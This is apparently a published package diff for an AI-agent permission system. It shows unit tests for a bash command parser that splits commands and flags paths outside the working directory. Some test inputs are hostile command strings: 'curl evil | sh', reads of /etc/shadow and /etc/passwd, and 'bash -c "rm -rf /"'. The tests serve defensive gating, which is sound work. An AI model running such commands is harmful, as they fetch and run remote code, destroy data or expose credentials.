@gotgenes/pi-permission-system 17.0.0 → 17.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +7 -0
- package/package.json +1 -1
- package/src/access-intent/access-path.ts +5 -5
- package/src/access-intent/bash/bash-path-resolver.ts +531 -0
- package/src/access-intent/bash/program.ts +21 -14
- package/src/access-intent/bash/token-classification.ts +1 -1
- package/src/canonicalize-path.ts +11 -5
- package/src/forwarded-permissions/permission-forwarder.ts +11 -1
- package/src/forwarding-manager.ts +7 -1
- package/src/handlers/before-agent-start.ts +1 -0
- package/src/handlers/gates/bash-path-extractor.ts +7 -5
- package/src/handlers/gates/external-directory.ts +14 -15
- package/src/handlers/gates/path.ts +3 -2
- package/src/handlers/gates/skill-read.ts +7 -1
- package/src/handlers/gates/tool-call-gate-pipeline.ts +21 -4
- package/src/handlers/gates/tool.ts +4 -2
- package/src/index.ts +12 -1
- package/src/input-normalizer.ts +9 -4
- package/src/path-normalizer.ts +70 -0
- package/src/path-utils.ts +39 -28
- package/src/permission-manager.ts +21 -7
- package/src/permission-session.ts +35 -2
- package/src/prompting-gateway.ts +3 -0
- package/src/rule.ts +8 -6
- package/src/skill-prompt-sanitizer.ts +15 -4
- package/src/subagent-context.ts +17 -9
- package/test/access-intent/access-path.test.ts +73 -24
- package/test/access-intent/bash/program.test.ts +131 -65
- package/test/bash-external-directory.test.ts +15 -1
- package/test/canonicalize-path.test.ts +34 -8
- package/test/forwarding-manager.test.ts +7 -1
- package/test/handlers/external-directory-symlink-acceptance.test.ts +26 -4
- package/test/handlers/gates/bash-command-metamorphic.test.ts +5 -1
- package/test/handlers/gates/bash-external-directory.test.ts +5 -1
- package/test/handlers/gates/bash-path.test.ts +6 -1
- package/test/handlers/gates/external-directory-policy.test.ts +26 -8
- package/test/handlers/gates/external-directory.test.ts +9 -1
- package/test/handlers/gates/path.test.ts +53 -14
- package/test/handlers/gates/skill-read.test.ts +22 -13
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +2 -1
- package/test/handlers/gates/tool.test.ts +13 -1
- package/test/helpers/gate-fixtures.ts +10 -0
- package/test/helpers/session-fixtures.ts +3 -0
- package/test/input-normalizer.test.ts +104 -39
- package/test/path-normalizer.test.ts +123 -0
- package/test/path-utils.test.ts +130 -51
- package/test/permission-forwarder.test.ts +1 -0
- package/test/permission-manager-unified.test.ts +40 -0
- package/test/permission-resolver.test.ts +12 -3
- package/test/permission-session.test.ts +41 -0
- package/test/pi-infrastructure-read.test.ts +27 -4
- package/test/prompting-gateway.test.ts +1 -0
- package/test/rule.test.ts +88 -42
- package/test/session-rules.test.ts +21 -4
- package/test/skill-prompt-sanitizer.test.ts +69 -14
- package/test/subagent-context.test.ts +77 -31
- package/test/synthesize.test.ts +13 -11
- package/src/access-intent/bash/cwd-projection.ts +0 -500
|
@@ -11,10 +11,12 @@ vi.mock("node:fs", () => ({
|
|
|
11
11
|
}));
|
|
12
12
|
|
|
13
13
|
import { BashProgram } from "#src/access-intent/bash/program";
|
|
14
|
+
import { PathNormalizer } from "#src/path-normalizer";
|
|
14
15
|
|
|
15
16
|
describe("BashProgram", () => {
|
|
16
17
|
describe("pathRuleCandidates", () => {
|
|
17
18
|
const cwd = "/projects/my-app";
|
|
19
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
18
20
|
|
|
19
21
|
beforeEach(() => {
|
|
20
22
|
realpathSync.mockReset();
|
|
@@ -22,7 +24,7 @@ describe("BashProgram", () => {
|
|
|
22
24
|
});
|
|
23
25
|
|
|
24
26
|
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
25
|
-
const program = await BashProgram.parse("cat src/foo.ts",
|
|
27
|
+
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
26
28
|
const candidates = program.pathRuleCandidates();
|
|
27
29
|
expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
|
|
28
30
|
expect(candidates[0].path.matchValues()).toEqual([
|
|
@@ -35,7 +37,7 @@ describe("BashProgram", () => {
|
|
|
35
37
|
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
36
38
|
const program = await BashProgram.parse(
|
|
37
39
|
"cd nested && cat src/file.txt",
|
|
38
|
-
|
|
40
|
+
normalizer,
|
|
39
41
|
);
|
|
40
42
|
const fileCandidate = program
|
|
41
43
|
.pathRuleCandidates()
|
|
@@ -55,7 +57,7 @@ describe("BashProgram", () => {
|
|
|
55
57
|
realpathSync.mockImplementation((p: string) =>
|
|
56
58
|
p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
|
|
57
59
|
);
|
|
58
|
-
const program = await BashProgram.parse("cat src/foo.ts",
|
|
60
|
+
const program = await BashProgram.parse("cat src/foo.ts", normalizer);
|
|
59
61
|
const candidate = program.pathRuleCandidates()[0];
|
|
60
62
|
expect(candidate.path.matchValues()).toEqual([
|
|
61
63
|
"/projects/my-app/src/foo.ts",
|
|
@@ -67,7 +69,7 @@ describe("BashProgram", () => {
|
|
|
67
69
|
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
68
70
|
const program = await BashProgram.parse(
|
|
69
71
|
'cd "$DIR" && cat src/foo.ts',
|
|
70
|
-
|
|
72
|
+
normalizer,
|
|
71
73
|
);
|
|
72
74
|
const fileCandidate = program
|
|
73
75
|
.pathRuleCandidates()
|
|
@@ -81,7 +83,7 @@ describe("BashProgram", () => {
|
|
|
81
83
|
realpathSync.mockImplementation(() => "/somewhere/else");
|
|
82
84
|
const program = await BashProgram.parse(
|
|
83
85
|
'cd "$DIR" && cat src/foo.ts',
|
|
84
|
-
|
|
86
|
+
normalizer,
|
|
85
87
|
);
|
|
86
88
|
const fileCandidate = program
|
|
87
89
|
.pathRuleCandidates()
|
|
@@ -93,6 +95,7 @@ describe("BashProgram", () => {
|
|
|
93
95
|
|
|
94
96
|
describe("externalPaths", () => {
|
|
95
97
|
const cwd = "/projects/my-app";
|
|
98
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
96
99
|
|
|
97
100
|
beforeEach(() => {
|
|
98
101
|
realpathSync.mockReset();
|
|
@@ -100,7 +103,7 @@ describe("BashProgram", () => {
|
|
|
100
103
|
});
|
|
101
104
|
|
|
102
105
|
it("returns absolute paths resolving outside cwd", async () => {
|
|
103
|
-
const program = await BashProgram.parse("cat /etc/hosts",
|
|
106
|
+
const program = await BashProgram.parse("cat /etc/hosts", normalizer);
|
|
104
107
|
// Subset matcher: the path is normalized before comparison.
|
|
105
108
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
106
109
|
"/etc/hosts",
|
|
@@ -108,16 +111,48 @@ describe("BashProgram", () => {
|
|
|
108
111
|
});
|
|
109
112
|
|
|
110
113
|
it("excludes paths within cwd", async () => {
|
|
111
|
-
const program = await BashProgram.parse("cat src/index.ts",
|
|
114
|
+
const program = await BashProgram.parse("cat src/index.ts", normalizer);
|
|
112
115
|
expect(program.externalPaths()).toHaveLength(0);
|
|
113
116
|
});
|
|
114
117
|
|
|
118
|
+
describe("win32 projection (injected platform, no vi.mock node:path)", () => {
|
|
119
|
+
const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
|
|
120
|
+
|
|
121
|
+
it("resolves and case-folds a rooted path outside cwd", async () => {
|
|
122
|
+
const program = await BashProgram.parse(
|
|
123
|
+
"cat /etc/hosts",
|
|
124
|
+
winNormalizer,
|
|
125
|
+
);
|
|
126
|
+
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
127
|
+
"c:\\etc\\hosts",
|
|
128
|
+
]);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
it("flags a ..-traversal escaping cwd under win32 rules", async () => {
|
|
132
|
+
const program = await BashProgram.parse(
|
|
133
|
+
"cat ../sibling/x",
|
|
134
|
+
winNormalizer,
|
|
135
|
+
);
|
|
136
|
+
expect(program.externalPaths().map((p) => p.value())).toEqual([
|
|
137
|
+
"c:\\projects\\sibling\\x",
|
|
138
|
+
]);
|
|
139
|
+
});
|
|
140
|
+
|
|
141
|
+
it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
|
|
142
|
+
const program = await BashProgram.parse(
|
|
143
|
+
"cd sub && cat ../x",
|
|
144
|
+
winNormalizer,
|
|
145
|
+
);
|
|
146
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
|
|
115
150
|
describe("effective working directory projection", () => {
|
|
116
151
|
it("folds a sequence of current-shell cd commands", async () => {
|
|
117
152
|
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
118
153
|
const program = await BashProgram.parse(
|
|
119
154
|
"cd a && cd b && cat ../c",
|
|
120
|
-
|
|
155
|
+
normalizer,
|
|
121
156
|
);
|
|
122
157
|
expect(program.externalPaths()).toHaveLength(0);
|
|
123
158
|
});
|
|
@@ -127,7 +162,7 @@ describe("BashProgram", () => {
|
|
|
127
162
|
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
128
163
|
const program = await BashProgram.parse(
|
|
129
164
|
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
130
|
-
|
|
165
|
+
normalizer,
|
|
131
166
|
);
|
|
132
167
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
133
168
|
"/projects/etc/passwd",
|
|
@@ -139,7 +174,7 @@ describe("BashProgram", () => {
|
|
|
139
174
|
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
140
175
|
const program = await BashProgram.parse(
|
|
141
176
|
"mkdir d && cd a && cat ../b",
|
|
142
|
-
|
|
177
|
+
normalizer,
|
|
143
178
|
);
|
|
144
179
|
expect(program.externalPaths()).toHaveLength(0);
|
|
145
180
|
});
|
|
@@ -147,7 +182,7 @@ describe("BashProgram", () => {
|
|
|
147
182
|
it("does not fold a backgrounded cd", async () => {
|
|
148
183
|
// `cd a &` runs in a subshell, so it must not update the running
|
|
149
184
|
// directory; ../b resolves against cwd and escapes.
|
|
150
|
-
const program = await BashProgram.parse("cd a & cat ../b",
|
|
185
|
+
const program = await BashProgram.parse("cd a & cat ../b", normalizer);
|
|
151
186
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
152
187
|
"/projects/b",
|
|
153
188
|
);
|
|
@@ -155,7 +190,10 @@ describe("BashProgram", () => {
|
|
|
155
190
|
|
|
156
191
|
it("does not fold a cd inside a pipeline", async () => {
|
|
157
192
|
// Pipeline members run in subshells; the cd must not leak.
|
|
158
|
-
const program = await BashProgram.parse(
|
|
193
|
+
const program = await BashProgram.parse(
|
|
194
|
+
"cd nested | cat ../b",
|
|
195
|
+
normalizer,
|
|
196
|
+
);
|
|
159
197
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
160
198
|
"/projects/b",
|
|
161
199
|
);
|
|
@@ -163,13 +201,19 @@ describe("BashProgram", () => {
|
|
|
163
201
|
|
|
164
202
|
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
165
203
|
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
166
|
-
const program = await BashProgram.parse(
|
|
204
|
+
const program = await BashProgram.parse(
|
|
205
|
+
"( cd sub && cat ../x )",
|
|
206
|
+
normalizer,
|
|
207
|
+
);
|
|
167
208
|
expect(program.externalPaths()).toHaveLength(0);
|
|
168
209
|
});
|
|
169
210
|
|
|
170
211
|
it("does not leak a subshell cd to following commands", async () => {
|
|
171
212
|
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
172
|
-
const program = await BashProgram.parse(
|
|
213
|
+
const program = await BashProgram.parse(
|
|
214
|
+
"( cd sub ) && cat ../y",
|
|
215
|
+
normalizer,
|
|
216
|
+
);
|
|
173
217
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
174
218
|
"/projects/y",
|
|
175
219
|
);
|
|
@@ -177,12 +221,18 @@ describe("BashProgram", () => {
|
|
|
177
221
|
|
|
178
222
|
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
179
223
|
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
180
|
-
const program = await BashProgram.parse(
|
|
224
|
+
const program = await BashProgram.parse(
|
|
225
|
+
"{ cd sub; cat ../x; }",
|
|
226
|
+
normalizer,
|
|
227
|
+
);
|
|
181
228
|
expect(program.externalPaths()).toHaveLength(0);
|
|
182
229
|
});
|
|
183
230
|
|
|
184
231
|
it("persists a brace-group cd to following sibling commands", async () => {
|
|
185
|
-
const program = await BashProgram.parse(
|
|
232
|
+
const program = await BashProgram.parse(
|
|
233
|
+
"{ cd sub; } && cat ../x",
|
|
234
|
+
normalizer,
|
|
235
|
+
);
|
|
186
236
|
expect(program.externalPaths()).toHaveLength(0);
|
|
187
237
|
});
|
|
188
238
|
|
|
@@ -192,7 +242,7 @@ describe("BashProgram", () => {
|
|
|
192
242
|
// resolved against cwd/q. Conservative — never misses an escape.
|
|
193
243
|
const program = await BashProgram.parse(
|
|
194
244
|
"echo $(cd q && cat ../r)",
|
|
195
|
-
|
|
245
|
+
normalizer,
|
|
196
246
|
);
|
|
197
247
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
198
248
|
"/projects/r",
|
|
@@ -202,7 +252,10 @@ describe("BashProgram", () => {
|
|
|
202
252
|
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
203
253
|
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
204
254
|
// so it is flagged (least-privilege).
|
|
205
|
-
const program = await BashProgram.parse(
|
|
255
|
+
const program = await BashProgram.parse(
|
|
256
|
+
'cd "$DIR" && cat ../x',
|
|
257
|
+
normalizer,
|
|
258
|
+
);
|
|
206
259
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
207
260
|
"/projects/x",
|
|
208
261
|
);
|
|
@@ -213,7 +266,7 @@ describe("BashProgram", () => {
|
|
|
213
266
|
// flagged because the effective dir is unknown.
|
|
214
267
|
const program = await BashProgram.parse(
|
|
215
268
|
'cd "$DIR" && cat src/../within.txt',
|
|
216
|
-
|
|
269
|
+
normalizer,
|
|
217
270
|
);
|
|
218
271
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
219
272
|
"/projects/my-app/within.txt",
|
|
@@ -225,13 +278,13 @@ describe("BashProgram", () => {
|
|
|
225
278
|
// even when the effective dir is unknown.
|
|
226
279
|
const program = await BashProgram.parse(
|
|
227
280
|
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
228
|
-
|
|
281
|
+
normalizer,
|
|
229
282
|
);
|
|
230
283
|
expect(program.externalPaths()).toHaveLength(0);
|
|
231
284
|
});
|
|
232
285
|
|
|
233
286
|
it("treats `cd -` as an unknown effective directory", async () => {
|
|
234
|
-
const program = await BashProgram.parse("cd - && cat ../x",
|
|
287
|
+
const program = await BashProgram.parse("cd - && cat ../x", normalizer);
|
|
235
288
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
236
289
|
"/projects/x",
|
|
237
290
|
);
|
|
@@ -242,7 +295,7 @@ describe("BashProgram", () => {
|
|
|
242
295
|
// ../x resolves to cwd and is not flagged.
|
|
243
296
|
const program = await BashProgram.parse(
|
|
244
297
|
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
245
|
-
|
|
298
|
+
normalizer,
|
|
246
299
|
);
|
|
247
300
|
expect(program.externalPaths()).toHaveLength(0);
|
|
248
301
|
});
|
|
@@ -255,7 +308,7 @@ describe("BashProgram", () => {
|
|
|
255
308
|
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
256
309
|
const program = await BashProgram.parse(
|
|
257
310
|
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
258
|
-
|
|
311
|
+
normalizer,
|
|
259
312
|
);
|
|
260
313
|
expect(program.externalPaths()).toHaveLength(0);
|
|
261
314
|
});
|
|
@@ -266,7 +319,7 @@ describe("BashProgram", () => {
|
|
|
266
319
|
// cwd instead of escaping one level above.
|
|
267
320
|
const program = await BashProgram.parse(
|
|
268
321
|
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
269
|
-
|
|
322
|
+
normalizer,
|
|
270
323
|
);
|
|
271
324
|
expect(program.externalPaths()).toHaveLength(0);
|
|
272
325
|
});
|
|
@@ -279,7 +332,7 @@ describe("BashProgram", () => {
|
|
|
279
332
|
// inside — a fail-open regression this test pins.
|
|
280
333
|
const program = await BashProgram.parse(
|
|
281
334
|
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
282
|
-
|
|
335
|
+
normalizer,
|
|
283
336
|
);
|
|
284
337
|
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
285
338
|
"/projects/x",
|
|
@@ -292,7 +345,7 @@ describe("BashProgram", () => {
|
|
|
292
345
|
// pre-cd base.
|
|
293
346
|
const program = await BashProgram.parse(
|
|
294
347
|
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
295
|
-
|
|
348
|
+
normalizer,
|
|
296
349
|
);
|
|
297
350
|
expect(program.externalPaths()).toHaveLength(0);
|
|
298
351
|
});
|
|
@@ -310,7 +363,7 @@ describe("BashProgram", () => {
|
|
|
310
363
|
});
|
|
311
364
|
const program = await BashProgram.parse(
|
|
312
365
|
"cat /projects/my-app/link/hosts",
|
|
313
|
-
|
|
366
|
+
normalizer,
|
|
314
367
|
);
|
|
315
368
|
const external = program.externalPaths().map((p) => p.value());
|
|
316
369
|
expect(external).toContain("/projects/my-app/link/hosts");
|
|
@@ -327,7 +380,7 @@ describe("BashProgram", () => {
|
|
|
327
380
|
});
|
|
328
381
|
const program = await BashProgram.parse(
|
|
329
382
|
"cat /tmp/workspace/file.ts",
|
|
330
|
-
symlinkCwd,
|
|
383
|
+
new PathNormalizer(process.platform, symlinkCwd),
|
|
331
384
|
);
|
|
332
385
|
expect(program.externalPaths()).toHaveLength(0);
|
|
333
386
|
});
|
|
@@ -335,14 +388,15 @@ describe("BashProgram", () => {
|
|
|
335
388
|
|
|
336
389
|
describe("commands", () => {
|
|
337
390
|
const cwd = "/projects/my-app";
|
|
391
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
338
392
|
|
|
339
393
|
it("returns a single-element list for a lone command", async () => {
|
|
340
|
-
const program = await BashProgram.parse("npm install pkg",
|
|
394
|
+
const program = await BashProgram.parse("npm install pkg", normalizer);
|
|
341
395
|
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
342
396
|
});
|
|
343
397
|
|
|
344
398
|
it("splits an && chain", async () => {
|
|
345
|
-
const program = await BashProgram.parse("cd /p && npm i x",
|
|
399
|
+
const program = await BashProgram.parse("cd /p && npm i x", normalizer);
|
|
346
400
|
expect(program.commands()).toEqual([
|
|
347
401
|
{ text: "cd /p" },
|
|
348
402
|
{ text: "npm i x" },
|
|
@@ -350,22 +404,19 @@ describe("BashProgram", () => {
|
|
|
350
404
|
});
|
|
351
405
|
|
|
352
406
|
it("splits || , ; and & separators", async () => {
|
|
353
|
-
expect(
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
{ text: "a" },
|
|
363
|
-
{ text: "b" },
|
|
364
|
-
]);
|
|
407
|
+
expect(
|
|
408
|
+
(await BashProgram.parse("a || b", normalizer)).commands(),
|
|
409
|
+
).toEqual([{ text: "a" }, { text: "b" }]);
|
|
410
|
+
expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
|
|
411
|
+
[{ text: "a" }, { text: "b" }],
|
|
412
|
+
);
|
|
413
|
+
expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
|
|
414
|
+
[{ text: "a" }, { text: "b" }],
|
|
415
|
+
);
|
|
365
416
|
});
|
|
366
417
|
|
|
367
418
|
it("splits a pipeline into its commands", async () => {
|
|
368
|
-
const program = await BashProgram.parse("cat f | grep b",
|
|
419
|
+
const program = await BashProgram.parse("cat f | grep b", normalizer);
|
|
369
420
|
expect(program.commands()).toEqual([
|
|
370
421
|
{ text: "cat f" },
|
|
371
422
|
{ text: "grep b" },
|
|
@@ -373,22 +424,25 @@ describe("BashProgram", () => {
|
|
|
373
424
|
});
|
|
374
425
|
|
|
375
426
|
it("splits newline-separated commands", async () => {
|
|
376
|
-
const program = await BashProgram.parse("foo\nbar",
|
|
427
|
+
const program = await BashProgram.parse("foo\nbar", normalizer);
|
|
377
428
|
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
378
429
|
});
|
|
379
430
|
|
|
380
431
|
it("does not split operators inside quotes", async () => {
|
|
381
|
-
const program = await BashProgram.parse("echo 'x && y'",
|
|
432
|
+
const program = await BashProgram.parse("echo 'x && y'", normalizer);
|
|
382
433
|
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
383
434
|
});
|
|
384
435
|
|
|
385
436
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
386
|
-
const program = await BashProgram.parse(
|
|
437
|
+
const program = await BashProgram.parse(
|
|
438
|
+
"npm install > out.txt",
|
|
439
|
+
normalizer,
|
|
440
|
+
);
|
|
387
441
|
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
388
442
|
});
|
|
389
443
|
|
|
390
444
|
it("descends into command substitution, tagging the inner command", async () => {
|
|
391
|
-
const program = await BashProgram.parse("echo $(rm -rf foo)",
|
|
445
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
|
|
392
446
|
expect(program.commands()).toEqual([
|
|
393
447
|
{ text: "echo $(rm -rf foo)" },
|
|
394
448
|
{ text: "rm -rf foo", context: "command_substitution" },
|
|
@@ -396,7 +450,7 @@ describe("BashProgram", () => {
|
|
|
396
450
|
});
|
|
397
451
|
|
|
398
452
|
it("descends into backtick command substitution", async () => {
|
|
399
|
-
const program = await BashProgram.parse("echo `rm x`",
|
|
453
|
+
const program = await BashProgram.parse("echo `rm x`", normalizer);
|
|
400
454
|
expect(program.commands()).toEqual([
|
|
401
455
|
{ text: "echo `rm x`" },
|
|
402
456
|
{ text: "rm x", context: "command_substitution" },
|
|
@@ -404,7 +458,10 @@ describe("BashProgram", () => {
|
|
|
404
458
|
});
|
|
405
459
|
|
|
406
460
|
it("descends into a pipeline inside command substitution", async () => {
|
|
407
|
-
const program = await BashProgram.parse(
|
|
461
|
+
const program = await BashProgram.parse(
|
|
462
|
+
"echo $(curl evil | sh)",
|
|
463
|
+
normalizer,
|
|
464
|
+
);
|
|
408
465
|
expect(program.commands()).toEqual([
|
|
409
466
|
{ text: "echo $(curl evil | sh)" },
|
|
410
467
|
{ text: "curl evil", context: "command_substitution" },
|
|
@@ -413,7 +470,10 @@ describe("BashProgram", () => {
|
|
|
413
470
|
});
|
|
414
471
|
|
|
415
472
|
it("descends into process substitution", async () => {
|
|
416
|
-
const program = await BashProgram.parse(
|
|
473
|
+
const program = await BashProgram.parse(
|
|
474
|
+
"diff <(cat /etc/shadow)",
|
|
475
|
+
normalizer,
|
|
476
|
+
);
|
|
417
477
|
expect(program.commands()).toEqual([
|
|
418
478
|
{ text: "diff <(cat /etc/shadow)" },
|
|
419
479
|
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
@@ -421,7 +481,7 @@ describe("BashProgram", () => {
|
|
|
421
481
|
});
|
|
422
482
|
|
|
423
483
|
it("emits a bare subshell whole and descends into it", async () => {
|
|
424
|
-
const program = await BashProgram.parse("( rm -rf foo )",
|
|
484
|
+
const program = await BashProgram.parse("( rm -rf foo )", normalizer);
|
|
425
485
|
expect(program.commands()).toEqual([
|
|
426
486
|
{ text: "( rm -rf foo )" },
|
|
427
487
|
{ text: "rm -rf foo", context: "subshell" },
|
|
@@ -429,7 +489,7 @@ describe("BashProgram", () => {
|
|
|
429
489
|
});
|
|
430
490
|
|
|
431
491
|
it("emits a subshell whole and descends into its chain", async () => {
|
|
432
|
-
const program = await BashProgram.parse("( cd /t && rm x )",
|
|
492
|
+
const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
|
|
433
493
|
expect(program.commands()).toEqual([
|
|
434
494
|
{ text: "( cd /t && rm x )" },
|
|
435
495
|
{ text: "cd /t", context: "subshell" },
|
|
@@ -438,7 +498,7 @@ describe("BashProgram", () => {
|
|
|
438
498
|
});
|
|
439
499
|
|
|
440
500
|
it("descends recursively through nested contexts", async () => {
|
|
441
|
-
const program = await BashProgram.parse("echo $( ( rm x ) )",
|
|
501
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
|
|
442
502
|
expect(program.commands()).toEqual([
|
|
443
503
|
{ text: "echo $( ( rm x ) )" },
|
|
444
504
|
{ text: "( rm x )", context: "command_substitution" },
|
|
@@ -447,7 +507,10 @@ describe("BashProgram", () => {
|
|
|
447
507
|
});
|
|
448
508
|
|
|
449
509
|
it("descends into a substitution within a chained command", async () => {
|
|
450
|
-
const program = await BashProgram.parse(
|
|
510
|
+
const program = await BashProgram.parse(
|
|
511
|
+
"cd /p && echo $(rm x)",
|
|
512
|
+
normalizer,
|
|
513
|
+
);
|
|
451
514
|
expect(program.commands()).toEqual([
|
|
452
515
|
{ text: "cd /p" },
|
|
453
516
|
{ text: "echo $(rm x)" },
|
|
@@ -456,7 +519,7 @@ describe("BashProgram", () => {
|
|
|
456
519
|
});
|
|
457
520
|
|
|
458
521
|
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
459
|
-
const program = await BashProgram.parse("echo $(echo safe)",
|
|
522
|
+
const program = await BashProgram.parse("echo $(echo safe)", normalizer);
|
|
460
523
|
expect(program.commands()).toEqual([
|
|
461
524
|
{ text: "echo $(echo safe)" },
|
|
462
525
|
{ text: "echo safe", context: "command_substitution" },
|
|
@@ -464,14 +527,16 @@ describe("BashProgram", () => {
|
|
|
464
527
|
});
|
|
465
528
|
|
|
466
529
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
467
|
-
expect((await BashProgram.parse("",
|
|
468
|
-
expect((await BashProgram.parse(" ",
|
|
530
|
+
expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
|
|
531
|
+
expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
|
|
532
|
+
[],
|
|
533
|
+
);
|
|
469
534
|
});
|
|
470
535
|
|
|
471
536
|
it("strips a leading env-var assignment prefix", async () => {
|
|
472
537
|
const program = await BashProgram.parse(
|
|
473
538
|
"AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
|
|
474
|
-
|
|
539
|
+
normalizer,
|
|
475
540
|
);
|
|
476
541
|
expect(program.commands()).toEqual([
|
|
477
542
|
{ text: "aws ec2 terminate-instances --instance-ids i-1" },
|
|
@@ -479,14 +544,14 @@ describe("BashProgram", () => {
|
|
|
479
544
|
});
|
|
480
545
|
|
|
481
546
|
it("strips multiple leading env-var assignments", async () => {
|
|
482
|
-
const program = await BashProgram.parse("A=1 B=2 aws s3 ls",
|
|
547
|
+
const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
|
|
483
548
|
expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
|
|
484
549
|
});
|
|
485
550
|
|
|
486
551
|
it("strips the env-var prefix of each command in a chain", async () => {
|
|
487
552
|
const program = await BashProgram.parse(
|
|
488
553
|
"X=1 aws sts get-caller-identity && ls",
|
|
489
|
-
|
|
554
|
+
normalizer,
|
|
490
555
|
);
|
|
491
556
|
expect(program.commands()).toEqual([
|
|
492
557
|
{ text: "aws sts get-caller-identity" },
|
|
@@ -495,7 +560,7 @@ describe("BashProgram", () => {
|
|
|
495
560
|
});
|
|
496
561
|
|
|
497
562
|
it("keeps a pure assignment with no command unchanged", async () => {
|
|
498
|
-
const program = await BashProgram.parse("FOO=bar",
|
|
563
|
+
const program = await BashProgram.parse("FOO=bar", normalizer);
|
|
499
564
|
expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
|
|
500
565
|
});
|
|
501
566
|
|
|
@@ -510,14 +575,14 @@ describe("BashProgram", () => {
|
|
|
510
575
|
['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
|
|
511
576
|
['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
|
|
512
577
|
])("flags %s as opaque", async (command, text) => {
|
|
513
|
-
const program = await BashProgram.parse(command,
|
|
578
|
+
const program = await BashProgram.parse(command, normalizer);
|
|
514
579
|
expect(program.commands()).toEqual([{ text, opaque: true }]);
|
|
515
580
|
});
|
|
516
581
|
|
|
517
582
|
it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
|
|
518
583
|
const program = await BashProgram.parse(
|
|
519
584
|
'AWS_PROFILE=prod bash -c "rm -rf /"',
|
|
520
|
-
|
|
585
|
+
normalizer,
|
|
521
586
|
);
|
|
522
587
|
expect(program.commands()).toEqual([
|
|
523
588
|
{ text: 'bash -c "rm -rf /"', opaque: true },
|
|
@@ -530,7 +595,7 @@ describe("BashProgram", () => {
|
|
|
530
595
|
"ls -la",
|
|
531
596
|
"grep -c foo file",
|
|
532
597
|
])("does not flag %s as opaque", async (command) => {
|
|
533
|
-
const program = await BashProgram.parse(command,
|
|
598
|
+
const program = await BashProgram.parse(command, normalizer);
|
|
534
599
|
expect(program.commands()).toEqual([{ text: command }]);
|
|
535
600
|
});
|
|
536
601
|
});
|
|
@@ -538,7 +603,8 @@ describe("BashProgram", () => {
|
|
|
538
603
|
|
|
539
604
|
it("derives both slices from a single parse", async () => {
|
|
540
605
|
const cwd = "/projects/my-app";
|
|
541
|
-
const
|
|
606
|
+
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
607
|
+
const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
|
